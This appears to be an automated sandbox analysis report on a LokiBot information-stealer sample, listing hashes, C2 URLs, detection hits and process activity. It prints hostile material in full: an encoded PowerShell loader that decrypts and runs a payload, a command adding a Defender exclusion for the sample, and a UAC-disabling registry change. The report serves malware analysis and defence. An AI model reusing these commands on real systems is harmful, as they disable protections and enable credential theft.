Analysis
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max time kernel
93s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
15-05-2024 01:48
Static task
static1
Behavioral task
behavioral1
Sample
bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe
Resource
win7-20240419-en
General
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Target
bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe
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Size
835KB
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MD5
ec6570ba3ecd5ce8ec00e775eebe3872
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SHA1
e449ffc0d43aad5dea985ddb2ae506a28e548f88
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SHA256
bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9
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SHA512
9cefd277e30b232bc661826cf0361d8b0f028378002112b114123ad92317cc610425add500a6858367de7aa60599092d9641eb0af1b58fd16850a970fd6001f8
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SSDEEP
12288:Ftzd+m39dkAf5YSyBThO6QEJ7KJajLYDcks2qIUtd88ZAFfhAR/e4Fkf:FthkszyqFYKqYHMIN8iFZARG4U
Malware Config
Extracted
lokibot
https://franccoisfreres.com/PWS/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe = "0" powershell.exe -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
resource yara_rule behavioral2/memory/3060-31-0x0000000000400000-0x00000000004A2000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects executables containing common artifacts observed in infostealers 1 IoCs
resource yara_rule behavioral2/memory/3060-31-0x0000000000400000-0x00000000004A2000-memory.dmp INDICATOR_SUSPICIOUS_GENInfoStealer -
Detects executables packed with or use KoiVM 1 IoCs
resource yara_rule behavioral2/memory/1012-16-0x000001FE755C0000-0x000001FE75634000-memory.dmp INDICATOR_EXE_Packed_KoiVM -
Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs
resource yara_rule behavioral2/memory/3060-31-0x0000000000400000-0x00000000004A2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
pid Process 1012 powershell.exe 4964 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1012 set thread context of 3060 1012 powershell.exe 95 -
Program crash 1 IoCs
pid pid_target Process procid_target 3724 3060 WerFault.exe 95 -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe 4964 powershell.exe 4964 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1012 powershell.exe Token: SeDebugPrivilege 4964 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2016 wrote to memory of 1012 2016 bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe 82 PID 2016 wrote to memory of 1012 2016 bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe 82 PID 1012 wrote to memory of 4964 1012 powershell.exe 91 PID 1012 wrote to memory of 4964 1012 powershell.exe 91 PID 1012 wrote to memory of 3712 1012 powershell.exe 93 PID 1012 wrote to memory of 3712 1012 powershell.exe 93 PID 1012 wrote to memory of 3712 1012 powershell.exe 93 PID 1012 wrote to memory of 1648 1012 powershell.exe 94 PID 1012 wrote to memory of 1648 1012 powershell.exe 94 PID 1012 wrote to memory of 1648 1012 powershell.exe 94 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 3060 1012 powershell.exe 95 PID 1012 wrote to memory of 4680 1012 powershell.exe 96 PID 1012 wrote to memory of 4680 1012 powershell.exe 96 PID 1012 wrote to memory of 4680 1012 powershell.exe 96
Processes
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C:\Users\Admin\AppData\Local\Temp\bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe"C:\Users\Admin\AppData\Local\Temp\bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAyADAALAAgADAAeAA0AEQALAAgADAAeAA0ADcALAAgADAAeAA4AEUALAAgADAAeABCADEALAAgADAAeABGAEQALAAgADAAeAAwADcALAAgADAAeABGAEYALAAgADAAeABFADYALAAgADAAeABFADgALAAgADAAeABFADUALAAgADAAeABFAEEALAAgADAAeAAwAEQALAAgADAAeABEAEEALAAgADAAeABBADIALAAgADAAeAA0ADMALAAgADAAeABCAEYALAAgADAAeAAzAEUALAAgADAAeAAwADAALAAgADAAeABDAEIALAAgADAAeAA2ADAALAAgADAAeABFADEALAAgADAAeAAwADgALAAgADAAeAA2AEQALAAgADAAeAA2ADMALAAgADAAeAA4AEQALAAgADAAeABEADUALAAgADAAeAAzAEYALAAgADAAeAAwADgALAAgADAAeAA4ADMALAAgADAAeAAyADAALAAgADAAeABFAEYAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADIAMgAsACAAMAB4ADQANgAsACAAMAB4AEIAQwAsACAAMAB4AEMANAAsACAAMAB4AEIARAAsACAAMAB4AEQANwAsACAAMAB4ADQAMgAsACAAMAB4AEIARQAsACAAMAB4ADIANQAsACAAMAB4AEEAQwAsACAAMAB4ADgAQgAsACAAMAB4ADEANwAsACAAMAB4ADkANAAsACAAMAB4AEYANwAsACAAMAB4AEMARAAsACAAMAB4ADAANQApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA2⤵
- UAC bypass
- Windows security bypass
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\bf69d7e6dc53d7406f9ca42a77aab58d4fab67d8c0778f71efc77a9fb653e4c9.exe" -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4964
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe"3⤵PID:3712
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C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"3⤵PID:1648
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:3060
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 284⤵
- Program crash
PID:3724
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:4680
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3060 -ip 30601⤵PID:1444
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
20KB
MD531accf839a08c967e785dc47af7b5cf4
SHA1c42bd4abbb1efe684b046ad1c9a061e1ef08f89c
SHA25671d58721507c97f0cfcfd2c03d396dc0de2c108f6b0d2dd2181e90b3548501a5
SHA51255d3b4726cec11c3a74a9c93184e971efdeeb6851f815a9115aba874783cf4dfa6239bb1d5fc029b269a0551eec5e7c295c4c2f626a75438981b7fe5a85ba724